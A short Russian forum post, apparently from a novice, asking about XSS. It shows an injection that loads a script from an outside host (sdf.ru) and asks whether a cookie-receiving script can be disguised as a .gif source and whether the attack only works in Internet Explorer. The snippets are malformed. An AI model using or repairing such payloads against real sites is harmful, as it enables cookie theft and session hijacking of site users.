Привет!

Обычно XSS атака выглядет так </a><script src="http://sdf.ru/dsf.js"</script><a>. А если я сделал скрипт для приёма куков через .gif. Т.е. kartinka.gif значит будет <script src="http://sdf.ru/dsf.gif"</script>

И еще нужно xss только через осла будет работать?